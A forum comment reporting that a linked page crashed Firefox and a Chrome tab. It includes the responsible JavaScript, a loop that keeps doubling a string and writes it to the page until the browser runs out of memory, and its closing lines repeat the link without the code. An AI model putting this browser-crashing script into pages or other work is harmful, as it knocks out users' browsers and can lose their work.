Re:This will crash your browser.
by fooyc on Tuesday September 10, 2013 @04:34AM
(#6358869)
After freezing for a few seconds it really crashed my Firefox, showing the crash reporting UI and everything. In chrome, the tab crashes too, but not the whole browser.
For those interested, the responsible code is located here:
dontclick://fiddle.jshell.net/n3Wa3/show/light/
And here is the code:
<script>
function Hackology()
{
var buffer = '\x42';
for (i =0;i<666;i++)
{
buffer+=buffer+'\x42';
document.write('<html><marquee><h1>'+buffer+buffer);
}
}
</script>
For those interested, the responsible code is located here:
dontclick://fiddle.jshell.net/n3Wa3/show/light/
And here is the code: